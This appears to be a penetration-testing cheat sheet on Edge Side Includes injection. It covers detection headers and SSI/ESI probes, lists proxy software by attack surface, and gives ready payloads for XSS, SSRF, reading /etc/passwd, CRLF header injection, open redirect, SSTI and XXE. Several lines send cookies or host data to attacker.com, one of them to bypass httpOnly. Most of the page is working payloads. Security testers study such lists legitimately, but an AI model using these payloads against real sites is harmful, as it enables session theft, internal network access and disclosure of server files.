Skip to content

🚀 ESI (Edge Side Includes) ​

📚 Resources ​

📖 Introduction ​

ESI (Edge Side Includes) is a simple markup language that allows reverse proxies (Varnish, Apache Traffic Server, etc.) to include dynamic content in cacheable pages.

🔍 ESI Detection ​

Headers ​

http
X-ESI: enabled
X-Varnish:
Surrogate-Capability: ESI/1.0
Surrogate-Control: content="ESI/1.0"

Basic check ​

xml
<!-- Document name -->
<!--#echo var="DOCUMENT_NAME" -->

<!-- File inclusion -->
<!--#include virtual="/index.html" -->

<!-- Modification date of a file -->
<!--#flastmod file="index.html" -->

<!-- Command execution -->
<!--#exec cmd="ls" -->

<!-- Print all variables -->
<!--#printenv -->

<!-- Setting variables -->
<!--#set var="name" value="Rich" -->

ESI Detection ​

xml
<esi:include src="/test"/>
<!--esi Test-->
Hel<!--esi Test-->lo       <!-- prints hello -->
<esi:include src="http://attacker.com">

<!-- XSS Exploitation Example -->
<esi:include src="http://attacker.com/XSSPAYLOAD.html">

<!-- Cookie Stealer (bypass httpOnly flag) -->
<esi:include src="http://attacker.com/?=$(HTTP_COOKIE)">

<!-- Access private local files -->
<esi:include src="supersecret.txt">

<!-- Akamai debug information -->
<esi:debug/>

Table to Understand Possible Attacks ​

Attack possibilities against different ESI-capable software based on supported functionality:

SoftwareIncludesVarsCookiesUpstream Headers RequiredHost Whitelist
Squid3YesYesYesYesNo
Varnish CacheYesNoNoYesYes
FastlyYesNoNoNoYes
Akamai ESI Test Server (ETS)YesYesYesNoNo
NodeJS esiYesYesYesNoNo
NodeJS nodesiYesNoNoNoOptional

🛠️ Supported ESI Tags ​

xml
<!-- Inclusion -->
<esi:include src="http://example.com/fragment" />

<!-- Variables -->
<esi:vars>$(HTTP_HOST)</esi:vars>
<esi:vars>$(QUERY_STRING{param})</esi:vars>
<esi:vars>$(HTTP_COOKIE{session})</esi:vars>
<esi:vars>$(HTTP_COOKIE{auth;user})</esi:vars>

<!-- Conditionals -->
<esi:choose>
  <esi:when test="$(HTTP_COOKIE{premium})">Premium</esi:when>
  <esi:otherwise>Standard</esi:otherwise>
</esi:choose>

<!-- Comments -->
<esi:comment text="hidden" />

<!-- Error Handling -->
<esi:try>
  <esi:attempt><esi:include src="/primary" /></esi:attempt>
  <esi:except><esi:include src="/fallback" /></esi:except>
</esi:try>

<!-- Conditional Removal -->
<esi:remove> Content removed if ESI enabled </esi:remove>

💣 Attacks vector ESI ​

ESI can be exploit via GET parameter vulnerable to XSS.

XSS ​

xml
<esi:include src=http://attacker.com/xss.html>
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

SSRF ​

xml
<esi:include src="http://internal-server/" />
<esi:include src="http://127.0.0.1:8080/" />

File Local Inclusion ​

xml
<esi:include src="file:///etc/passwd" />

Data Exfiltration ​

xml
<esi:include src="http://attacker.com/?host=$(HTTP_HOST)" />
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{session})" />

Header Injection ​

CRLF ​

xml
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect ​

xml
<!--esi $add_header('Location','http://attacker.com') -->

ESI to SSTI ​

bash
{{expr}}
${expr}
%{expr}
#{expr}
%25{expr}
{expr}

ESI to XSLT ​

xml
<xsl:include href="http://127.0.0.1:8080/xslt"/>
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>

<data>&file;</data>